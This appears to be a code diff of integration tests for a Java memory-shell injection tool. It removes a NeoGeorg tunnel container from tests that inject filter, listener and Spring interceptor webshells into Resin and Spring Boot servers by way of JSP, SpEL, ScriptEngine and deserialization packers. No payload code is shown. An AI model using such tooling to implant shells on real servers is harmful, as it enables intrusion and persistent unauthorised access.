+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
-                ShellType.FILTER, ShellType.LISTENER,
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -70,6 +57,6 @@ public class Resin4067ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java

@@ -1,84 +0,0 @@
-package com.reajason.javaweb.integration.springmvc;
-
-import com.reajason.javaweb.integration.TestCasesProvider;
-import com.reajason.javaweb.memshell.Packers;
-import com.reajason.javaweb.memshell.Server;
-import com.reajason.javaweb.memshell.ShellTool;
-import com.reajason.javaweb.memshell.ShellType;
-import lombok.extern.slf4j.Slf4j;
-import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.AfterAll;
-import org.junit.jupiter.params.ParameterizedTest;
-import org.junit.jupiter.params.provider.Arguments;
-import org.junit.jupiter.params.provider.MethodSource;
-import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
-import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
-import org.testcontainers.junit.jupiter.Container;
-import org.testcontainers.junit.jupiter.Testcontainers;
-
-import java.util.List;
-import java.util.stream.Stream;
-
-import static com.reajason.javaweb.integration.ContainerTool.*;
-import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-@Testcontainers
-@Slf4j
-public class SpringBoot1ContainerTest {
-    public static final String imageName = "springboot1";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
-    @Container
-    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(springBoot1Dockerfile))
-            .withCopyToContainer(jattachFile, "/jattach")
-            .withCopyToContainer(springbootPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
-            .waitingFor(Wait.forHttp("/test"))
-            .withExposedPorts(8080);
-
-    static Stream<Arguments> casesProvider() {
-        Server server = Server.SpringWebMvc;
-        List<String> supportedShellTypes = List.of(
-                ShellType.SPRING_WEBMVC_INTERCEPTOR,
-                ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
-                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
-                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
-        );
-        List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
-        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
-    }
-
-    @AfterAll
-    static void tearDown() {
-        String logs = container.getLogs();
-        log.info(logs);
-        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
-    }
-
-    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
-    @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
-    }
-
-    public static String getUrl(GenericContainer<?> container) {
-        String host = container.getHost();
-        int port = container.getMappedPort(8080);
-        String url = "http://" + host + ":" + port;
-        log.info("container started, app url is : {}", url);
-        return url;
-    }
-}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java

@@ -12,7 +12,6 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
 import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
@@ -35,30 +34,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 public class SpringBoot2ContainerTest {
     public static final String imageName = "springboot2";
 
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
-
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
             .withDockerfile(springBoot2Dockerfile))
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(springbootPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/test"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.SpringWebMvc;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
-                ShellType.SPRING_WEBMVC_INTERCEPTOR,
-                ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
-                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
-                ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
-        );
         List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -72,7 +58,7 @@ public class SpringBoot2ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java

@@ -12,16 +12,15 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
 import java.util.List;
 import java.util.stream.Stream;
 
-import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.springBoot2WarFile;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
 import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -34,25 +33,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Slf4j
 public class SpringBoot2WarContainerTest {
     public static final String imageName = "tomcat:8-jre8";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.SpringWebMvc;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR,
-                ShellType.SPRING_WEBMVC_INTERCEPTOR,
+                ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER);
-                ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
-        );
         List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -66,6 +57,6 @@ public class SpringBoot2WarContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer);
     }
 }